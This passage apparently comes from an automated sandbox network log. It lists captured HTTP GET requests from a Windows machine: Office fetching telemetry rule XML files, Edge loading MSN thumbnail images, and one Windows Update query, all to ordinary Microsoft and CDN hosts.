Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=dSkSl3rp7HTCF2P&MD=NeNfOln1 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
